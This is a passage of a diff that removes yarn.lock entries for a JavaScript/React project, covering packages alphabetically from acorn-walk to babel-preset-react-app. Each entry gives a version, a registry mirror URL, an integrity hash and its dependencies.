-  resolved "https://registry.nlark.com/acorn-walk/download/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc"
-  integrity sha1-DeiJpgEgOQmw++B7iTjcIdLpZ7w=
-
-acorn@^6.4.1:
-  version "6.4.2"
-  resolved "https://registry.nlark.com/acorn/download/acorn-6.4.2.tgz?cache=0&sync_timestamp=1622440161899&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6"
-  integrity sha1-NYZv1xBSjpLeEM8GAWSY5H454eY=
-
-acorn@^7.1.0, acorn@^7.1.1, acorn@^7.4.0:
-  version "7.4.1"
-  resolved "https://registry.nlark.com/acorn/download/acorn-7.4.1.tgz?cache=0&sync_timestamp=1622440161899&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
-  integrity sha1-/q7SVZc9LndVW4PbwIhRpsY1IPo=
-
-acorn@^8.2.4:
-  version "8.3.0"
-  resolved "https://registry.nlark.com/acorn/download/acorn-8.3.0.tgz?cache=0&sync_timestamp=1622440161899&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-8.3.0.tgz#1193f9b96c4e8232f00b11a9edff81b2c8b98b88"
-  integrity sha1-EZP5uWxOgjLwCxGp7f+Bssi5i4g=
-
-address@1.1.2, address@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/address/download/address-1.1.2.tgz#bf1116c9c758c51b7a933d296b72c221ed9428b6"
-  integrity sha1-vxEWycdYxRt6kz0pa3LCIe2UKLY=
-
-adjust-sourcemap-loader@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/adjust-sourcemap-loader/download/adjust-sourcemap-loader-3.0.0.tgz#5ae12fb5b7b1c585e80bbb5a63ec163a1a45e61e"
-  integrity sha1-WuEvtbexxYXoC7taY+wWOhpF5h4=
-  dependencies:
-    loader-utils "^2.0.0"
-    regex-parser "^2.2.11"
-
-agent-base@6:
-  version "6.0.2"
-  resolved "https://registry.npm.taobao.org/agent-base/download/agent-base-6.0.2.tgz?cache=0&sync_timestamp=1603479960600&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fagent-base%2Fdownload%2Fagent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
-  integrity sha1-Sf/1hXfP7j83F2/qtMIuAPhtf3c=
-  dependencies:
-    debug "4"
-
-aggregate-error@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/aggregate-error/download/aggregate-error-3.1.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Faggregate-error%2Fdownload%2Faggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a"
-  integrity sha1-kmcP9Q9TWb23o+DUDQ7DDFc3aHo=
-  dependencies:
-    clean-stack "^2.0.0"
-    indent-string "^4.0.0"
-
-ajv-errors@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/ajv-errors/download/ajv-errors-1.0.1.tgz#f35986aceb91afadec4102fbd85014950cefa64d"
-  integrity sha1-81mGrOuRr63sQQL72FAUlQzvpk0=
-
-ajv-keywords@^3.1.0, ajv-keywords@^3.4.1, ajv-keywords@^3.5.2:
-  version "3.5.2"
-  resolved "https://registry.npm.taobao.org/ajv-keywords/download/ajv-keywords-3.5.2.tgz?cache=0&sync_timestamp=1616882351228&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fajv-keywords%2Fdownload%2Fajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
-  integrity sha1-MfKdpatuANHC0yms97WSlhTVAU0=
-
-ajv@^6.1.0, ajv@^6.10.0, ajv@^6.10.2, ajv@^6.12.4, ajv@^6.12.5:
-  version "6.12.6"
-  resolved "https://registry.nlark.com/ajv/download/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
-  integrity sha1-uvWmLoArB9l3A0WG+MO69a3ybfQ=
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
-ajv@^8.0.1:
-  version "8.6.0"
-  resolved "https://registry.nlark.com/ajv/download/ajv-8.6.0.tgz#60cc45d9c46a477d80d92c48076d972c342e5720"
-  integrity sha1-YMxF2cRqR32A2SxIB22XLDQuVyA=
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    json-schema-traverse "^1.0.0"
-    require-from-string "^2.0.2"
-    uri-js "^4.2.2"
-
-alphanum-sort@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/alphanum-sort/download/alphanum-sort-1.0.2.tgz#97a1119649b211ad33691d9f9f486a8ec9fbe0a3"
-  integrity sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=
-
-ansi-colors@^3.0.0:
-  version "3.2.4"
-  resolved "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-3.2.4.tgz#e3a3da4bfbae6c86a9c285625de124a234026fbf"
-  integrity sha1-46PaS/uubIapwoViXeEkojQCb78=
-
-ansi-colors@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-4.1.1.tgz#cbb9ae256bf750af1eab344f229aa27fe94ba348"
-  integrity sha1-y7muJWv3UK8eqzRPIpqif+lLo0g=
-
-ansi-escapes@^4.2.1, ansi-escapes@^4.3.1:
-  version "4.3.2"
-  resolved "https://registry.npm.taobao.org/ansi-escapes/download/ansi-escapes-4.3.2.tgz?cache=0&sync_timestamp=1618723616144&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fansi-escapes%2Fdownload%2Fansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e"
-  integrity sha1-ayKR0dt9mLZSHV8e+kLQ86n+tl4=
-  dependencies:
-    type-fest "^0.21.3"
-
-ansi-html@0.0.7, ansi-html@^0.0.7:
-  version "0.0.7"
-  resolved "https://registry.npm.taobao.org/ansi-html/download/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e"
-  integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4=
-
-ansi-regex@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997"
-  integrity sha1-i5+PCM8ay4Q3Vqg5yox+MWjFGZc=
-
-ansi-regex@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
-  integrity sha1-OIU59VF5vzkznIGvMKZU1p+Hy3U=
-
-ansi-styles@^3.2.0, ansi-styles@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-  integrity sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=
-  dependencies:
-    color-convert "^1.9.0"
-
-ansi-styles@^4.0.0, ansi-styles@^4.1.0:
-  version "4.3.0"
-  resolved "https://registry.nlark.com/ansi-styles/download/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
-  integrity sha1-7dgDYornHATIWuegkG7a00tkiTc=
-  dependencies:
-    color-convert "^2.0.1"
-
-anymatch@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/anymatch/download/anymatch-2.0.0.tgz?cache=0&sync_timestamp=1617747502795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fanymatch%2Fdownload%2Fanymatch-2.0.0.tgz#bcb24b4f37934d9aa7ac17b4adaf89e7c76ef2eb"
-  integrity sha1-vLJLTzeTTZqnrBe0ra+J58du8us=
-  dependencies:
-    micromatch "^3.1.4"
-    normalize-path "^2.1.1"
-
-anymatch@^3.0.0, anymatch@^3.0.3, anymatch@~3.1.1:
-  version "3.1.2"
-  resolved "https://registry.npm.taobao.org/anymatch/download/anymatch-3.1.2.tgz?cache=0&sync_timestamp=1617747502795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fanymatch%2Fdownload%2Fanymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716"
-  integrity sha1-wFV8CWrzLxBhmPT04qODU343hxY=
-  dependencies:
-    normalize-path "^3.0.0"
-    picomatch "^2.0.4"
-
-aproba@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/aproba/download/aproba-1.2.0.tgz#6802e6264efd18c790a1b0d517f0f2627bf2c94a"
-  integrity sha1-aALmJk79GMeQobDVF/DyYnvyyUo=
-
-argparse@^1.0.7:
-  version "1.0.10"
-  resolved "https://registry.npm.taobao.org/argparse/download/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
-  integrity sha1-vNZ5HqWuCXJeF+WtmIE0zUCz2RE=
-  dependencies:
-    sprintf-js "~1.0.2"
-
-aria-query@^4.2.2:
-  version "4.2.2"
-  resolved "https://registry.npm.taobao.org/aria-query/download/aria-query-4.2.2.tgz#0d2ca6c9aceb56b8977e9fed6aed7e15bbd2f83b"
-  integrity sha1-DSymyazrVriXfp/tau1+FbvS+Ds=
-  dependencies:
-    "@babel/runtime" "^7.10.2"
-    "@babel/runtime-corejs3" "^7.10.2"
-
-arity-n@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/arity-n/download/arity-n-1.0.4.tgz#d9e76b11733e08569c0847ae7b39b2860b30b745"
-  integrity sha1-2edrEXM+CFacCEeuezmyhgswt0U=
-
-arr-diff@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/arr-diff/download/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-  integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
-
-arr-flatten@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/arr-flatten/download/arr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1"
-  integrity sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=
-
-arr-union@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/arr-union/download/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
-
-array-flatten@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/array-flatten/download/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
-  integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
-
-array-flatten@^2.1.0:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/array-flatten/download/array-flatten-2.1.2.tgz#24ef80a28c1a893617e2149b0c6d0d788293b099"
-  integrity sha1-JO+AoowaiTYX4hSbDG0NeIKTsJk=
-
-array-includes@^3.1.1, array-includes@^3.1.2, array-includes@^3.1.3:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/array-includes/download/array-includes-3.1.3.tgz#c7f619b382ad2afaf5326cddfdc0afc61af7690a"
-  integrity sha1-x/YZs4KtKvr1Mmzd/cCvxhr3aQo=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-    get-intrinsic "^1.1.1"
-    is-string "^1.0.5"
-
-array-union@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/array-union/download/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39"
-  integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=
-  dependencies:
-    array-uniq "^1.0.1"
-
-array-union@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/array-union/download/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
-  integrity sha1-t5hCCtvrHego2ErNii4j0+/oXo0=
-
-array-uniq@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/array-uniq/download/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
-  integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
-
-array-unique@^0.3.2:
-  version "0.3.2"
-  resolved "https://registry.npm.taobao.org/array-unique/download/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
-
-array.prototype.flat@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.npm.taobao.org/array.prototype.flat/download/array.prototype.flat-1.2.4.tgz#6ef638b43312bd401b4c6199fdec7e2dc9e9a123"
-  integrity sha1-bvY4tDMSvUAbTGGZ/ex+LcnpoSM=
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-
-array.prototype.flatmap@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.npm.taobao.org/array.prototype.flatmap/download/array.prototype.flatmap-1.2.4.tgz#94cfd47cc1556ec0747d97f7c7738c58122004c9"
-  integrity sha1-lM/UfMFVbsB0fZf3x3OMWBIgBMk=
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-    function-bind "^1.1.1"
-
-arrify@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/arrify/download/arrify-2.0.1.tgz?cache=0&sync_timestamp=1619599497996&other_urls=https%3A%2F%2Fregistry.nlark.com%2Farrify%2Fdownload%2Farrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa"
-  integrity sha1-yWVekzHgq81YjSp8rX6ZVvZnAfo=
-
-asap@~2.0.6:
-  version "2.0.6"
-  resolved "https://registry.npm.taobao.org/asap/download/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
-  integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=
-
-asn1.js@^5.2.0:
-  version "5.4.1"
-  resolved "https://registry.npm.taobao.org/asn1.js/download/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
-  integrity sha1-EamAuE67kXgc41sP3C7ilON4Pwc=
-  dependencies:
-    bn.js "^4.0.0"
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-    safer-buffer "^2.1.0"
-
-assert@^1.1.1:
-  version "1.5.0"
-  resolved "https://registry.npm.taobao.org/assert/download/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
-  integrity sha1-VcEJqvbgrv2z3EtxJAxwv1dLGOs=
-  dependencies:
-    object-assign "^4.1.1"
-    util "0.10.3"
-
-assign-symbols@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/assign-symbols/download/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
-
-ast-types-flow@^0.0.7:
-  version "0.0.7"
-  resolved "https://registry.npm.taobao.org/ast-types-flow/download/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad"
-  integrity sha1-9wtzXGvKGlycItmCw+Oef+ujva0=
-
-astral-regex@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/astral-regex/download/astral-regex-2.0.0.tgz#483143c567aeed4785759c0865786dc77d7d2e31"
-  integrity sha1-SDFDxWeu7UeFdZwIZXhtx319LjE=
-
-async-each@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/async-each/download/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
-  integrity sha1-tyfb+H12UWAvBvTUrDh/R9kbDL8=
-
-async-limiter@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/async-limiter/download/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd"
-  integrity sha1-3TeelPDbgxCwgpH51kwyCXZmF/0=
-
-async@^2.6.2:
-  version "2.6.3"
-  resolved "https://registry.npm.taobao.org/async/download/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff"
-  integrity sha1-1yYl4jRKNlbjo61Pp0n6gymdgv8=
-  dependencies:
-    lodash "^4.17.14"
-
-asynckit@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.nlark.com/asynckit/download/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
-  integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
-
-at-least-node@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/at-least-node/download/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2"
-  integrity sha1-YCzUtG6EStTv/JKoARo8RuAjjcI=
-
-atob@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/atob/download/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
-  integrity sha1-bZUX654DDSQ2ZmZR6GvZ9vE1M8k=
-
-autoprefixer@^9.6.1:
-  version "9.8.6"
-  resolved "https://registry.nlark.com/autoprefixer/download/autoprefixer-9.8.6.tgz?cache=0&sync_timestamp=1622039559998&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fautoprefixer%2Fdownload%2Fautoprefixer-9.8.6.tgz#3b73594ca1bf9266320c5acf1588d74dea74210f"
-  integrity sha1-O3NZTKG/kmYyDFrPFYjXTep0IQ8=
-  dependencies:
-    browserslist "^4.12.0"
-    caniuse-lite "^1.0.30001109"
-    colorette "^1.2.1"
-    normalize-range "^0.1.2"
-    num2fraction "^1.2.2"
-    postcss "^7.0.32"
-    postcss-value-parser "^4.1.0"
-
-axe-core@^4.0.2:
-  version "4.2.2"
-  resolved "https://registry.nlark.com/axe-core/download/axe-core-4.2.2.tgz#0c987d82c8b82b4b9b7a945f1b5ef0d8fed586ed"
-  integrity sha1-DJh9gsi4K0ubepRfG17w2P7Vhu0=
-
-axios@^0.21.1:
-  version "0.21.1"
-  resolved "https://registry.yarnpkg.com/axios/-/axios-0.21.1.tgz#22563481962f4d6bde9a76d516ef0e5d3c09b2b8"
-  integrity sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==
-  dependencies:
-    follow-redirects "^1.10.0"
-
-axobject-query@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/axobject-query/download/axobject-query-2.2.0.tgz#943d47e10c0b704aa42275e20edf3722648989be"
-  integrity sha1-lD1H4QwLcEqkInXiDt83ImSJib4=
-
-babel-eslint@^10.1.0:
-  version "10.1.0"
-  resolved "https://registry.npm.taobao.org/babel-eslint/download/babel-eslint-10.1.0.tgz?cache=0&sync_timestamp=1611946213770&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-eslint%2Fdownload%2Fbabel-eslint-10.1.0.tgz#6968e568a910b78fb3779cdd8b6ac2f479943232"
-  integrity sha1-aWjlaKkQt4+zd5zdi2rC9HmUMjI=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    "@babel/parser" "^7.7.0"
-    "@babel/traverse" "^7.7.0"
-    "@babel/types" "^7.7.0"
-    eslint-visitor-keys "^1.0.0"
-    resolve "^1.12.0"
-
-babel-extract-comments@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/babel-extract-comments/download/babel-extract-comments-1.0.0.tgz#0a2aedf81417ed391b85e18b4614e693a0351a21"
-  integrity sha1-Cirt+BQX7TkbheGLRhTmk6A1GiE=
-  dependencies:
-    babylon "^6.18.0"
-
-babel-jest@^26.6.0, babel-jest@^26.6.3:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/babel-jest/download/babel-jest-26.6.3.tgz#d87d25cb0037577a0c89f82e5755c5d293c01056"
-  integrity sha1-2H0lywA3V3oMifguV1XF0pPAEFY=
-  dependencies:
-    "@jest/transform" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/babel__core" "^7.1.7"
-    babel-plugin-istanbul "^6.0.0"
-    babel-preset-jest "^26.6.2"
-    chalk "^4.0.0"
-    graceful-fs "^4.2.4"
-    slash "^3.0.0"
-
-babel-loader@8.1.0:
-  version "8.1.0"
-  resolved "https://registry.npm.taobao.org/babel-loader/download/babel-loader-8.1.0.tgz?cache=0&sync_timestamp=1615270018746&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-loader%2Fdownload%2Fbabel-loader-8.1.0.tgz#c611d5112bd5209abe8b9fa84c3e4da25275f1c3"
-  integrity sha1-xhHVESvVIJq+i5+oTD5NolJ18cM=
-  dependencies:
-    find-cache-dir "^2.1.0"
-    loader-utils "^1.4.0"
-    mkdirp "^0.5.3"
-    pify "^4.0.1"
-    schema-utils "^2.6.5"
-
-babel-plugin-dynamic-import-node@^2.3.3:
-  version "2.3.3"
-  resolved "https://registry.npm.taobao.org/babel-plugin-dynamic-import-node/download/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3"
-  integrity sha1-hP2hnJduxcbe/vV/lCez3vZuF6M=
-  dependencies:
-    object.assign "^4.1.0"
-
-babel-plugin-istanbul@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/babel-plugin-istanbul/download/babel-plugin-istanbul-6.0.0.tgz#e159ccdc9af95e0b570c75b4573b7c34d671d765"
-  integrity sha1-4VnM3Jr5XgtXDHW0Vzt8NNZx12U=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.0.0"
-    "@istanbuljs/load-nyc-config" "^1.0.0"
-    "@istanbuljs/schema" "^0.1.2"
-    istanbul-lib-instrument "^4.0.0"
-    test-exclude "^6.0.0"
-
-babel-plugin-jest-hoist@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/babel-plugin-jest-hoist/download/babel-plugin-jest-hoist-26.6.2.tgz?cache=0&sync_timestamp=1621937209898&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-jest-hoist%2Fdownload%2Fbabel-plugin-jest-hoist-26.6.2.tgz#8185bd030348d254c6d7dd974355e6a28b21e62d"
-  integrity sha1-gYW9AwNI0lTG192XQ1Xmoosh5i0=
-  dependencies:
-    "@babel/template" "^7.3.3"
-    "@babel/types" "^7.3.3"
-    "@types/babel__core" "^7.0.0"
-    "@types/babel__traverse" "^7.0.6"
-
-babel-plugin-macros@2.8.0:
-  version "2.8.0"
-  resolved "https://registry.nlark.com/babel-plugin-macros/download/babel-plugin-macros-2.8.0.tgz?cache=0&sync_timestamp=1620234245298&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-macros%2Fdownload%2Fbabel-plugin-macros-2.8.0.tgz#0f958a7cc6556b1e65344465d99111a1e5e10138"
-  integrity sha1-D5WKfMZVax5lNERl2ZERoeXhATg=
-  dependencies:
-    "@babel/runtime" "^7.7.2"
-    cosmiconfig "^6.0.0"
-    resolve "^1.12.0"
-
-babel-plugin-named-asset-import@^0.3.7:
-  version "0.3.7"
-  resolved "https://registry.npm.taobao.org/babel-plugin-named-asset-import/download/babel-plugin-named-asset-import-0.3.7.tgz#156cd55d3f1228a5765774340937afc8398067dd"
-  integrity sha1-FWzVXT8SKKV2V3Q0CTevyDmAZ90=
-
-babel-plugin-polyfill-corejs2@^0.2.0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/babel-plugin-polyfill-corejs2/download/babel-plugin-polyfill-corejs2-0.2.2.tgz?cache=0&sync_timestamp=1622023848590&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-corejs2%2Fdownload%2Fbabel-plugin-polyfill-corejs2-0.2.2.tgz#e9124785e6fd94f94b618a7954e5693053bf5327"
-  integrity sha1-6RJHheb9lPlLYYp5VOVpMFO/Uyc=
-  dependencies:
-    "@babel/compat-data" "^7.13.11"
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-    semver "^6.1.1"
-
-babel-plugin-polyfill-corejs3@^0.2.0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/babel-plugin-polyfill-corejs3/download/babel-plugin-polyfill-corejs3-0.2.2.tgz#7424a1682ee44baec817327710b1b094e5f8f7f5"
-  integrity sha1-dCShaC7kS67IFzJ3ELGwlOX49/U=
-  dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-    core-js-compat "^3.9.1"
-
-babel-plugin-polyfill-regenerator@^0.2.0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/babel-plugin-polyfill-regenerator/download/babel-plugin-polyfill-regenerator-0.2.2.tgz?cache=0&sync_timestamp=1622023850554&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-regenerator%2Fdownload%2Fbabel-plugin-polyfill-regenerator-0.2.2.tgz#b310c8d642acada348c1fa3b3e6ce0e851bee077"
-  integrity sha1-sxDI1kKsraNIwfo7Pmzg6FG+4Hc=
-  dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-
-babel-plugin-syntax-object-rest-spread@^6.8.0:
-  version "6.13.0"
-  resolved "https://registry.npm.taobao.org/babel-plugin-syntax-object-rest-spread/download/babel-plugin-syntax-object-rest-spread-6.13.0.tgz#fd6536f2bce13836ffa3a5458c4903a597bb3bf5"
-  integrity sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=
-
-babel-plugin-transform-object-rest-spread@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.npm.taobao.org/babel-plugin-transform-object-rest-spread/download/babel-plugin-transform-object-rest-spread-6.26.0.tgz#0f36692d50fef6b7e2d4b3ac1478137a963b7b06"
-  integrity sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=
-  dependencies:
-    babel-plugin-syntax-object-rest-spread "^6.8.0"
-    babel-runtime "^6.26.0"
-
-babel-plugin-transform-react-remove-prop-types@0.4.24:
-  version "0.4.24"
-  resolved "https://registry.npm.taobao.org/babel-plugin-transform-react-remove-prop-types/download/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz#f2edaf9b4c6a5fbe5c1d678bfb531078c1555f3a"
-  integrity sha1-8u2vm0xqX75cHWeL+1MQeMFVXzo=
-
-babel-preset-current-node-syntax@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/babel-preset-current-node-syntax/download/babel-preset-current-node-syntax-1.0.1.tgz#b4399239b89b2a011f9ddbe3e4f401fc40cff73b"
-  integrity sha1-tDmSObibKgEfndvj5PQB/EDP9zs=
-  dependencies:
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-    "@babel/plugin-syntax-bigint" "^7.8.3"
-    "@babel/plugin-syntax-class-properties" "^7.8.3"
-    "@babel/plugin-syntax-import-meta" "^7.8.3"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.8.3"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.8.3"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-    "@babel/plugin-syntax-top-level-await" "^7.8.3"
-
-babel-preset-jest@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/babel-preset-jest/download/babel-preset-jest-26.6.2.tgz#747872b1171df032252426586881d62d31798fee"
-  integrity sha1-dHhysRcd8DIlJCZYaIHWLTF5j+4=
-  dependencies:
-    babel-plugin-jest-hoist "^26.6.2"
-    babel-preset-current-node-syntax "^1.0.0"
-
-babel-preset-react-app@^10.0.0:
-  version "10.0.0"
-  resolved "https://registry.npm.taobao.org/babel-preset-react-app/download/babel-preset-react-app-10.0.0.tgz?cache=0&sync_timestamp=1603462277156&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-preset-react-app%2Fdownload%2Fbabel-preset-react-app-10.0.0.tgz#689b60edc705f8a70ce87f47ab0e560a317d7045"
-  integrity sha1-aJtg7ccF+KcM6H9Hqw5WCjF9cEU=
-  dependencies:
-    "@babel/core" "7.12.3"
-    "@babel/plugin-proposal-class-properties" "7.12.1"
-    "@babel/plugin-proposal-decorators" "7.12.1"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "7.12.1"
-    "@babel/plugin-proposal-numeric-separator" "7.12.1"
-    "@babel/plugin-proposal-optional-chaining" "7.12.1"
-    "@babel/plugin-transform-flow-strip-types" "7.12.1"
-    "@babel/plugin-transform-react-display-name" "7.12.1"
-    "@babel/plugin-transform-runtime" "7.12.1"
-    "@babel/preset-env" "7.12.1"
-    "@babel/preset-react" "7.12.1"
-    "@babel/preset-typescript" "7.12.1"
-    "@babel/runtime" "7.12.1"
-    babel-plugin-macros "2.8.0"
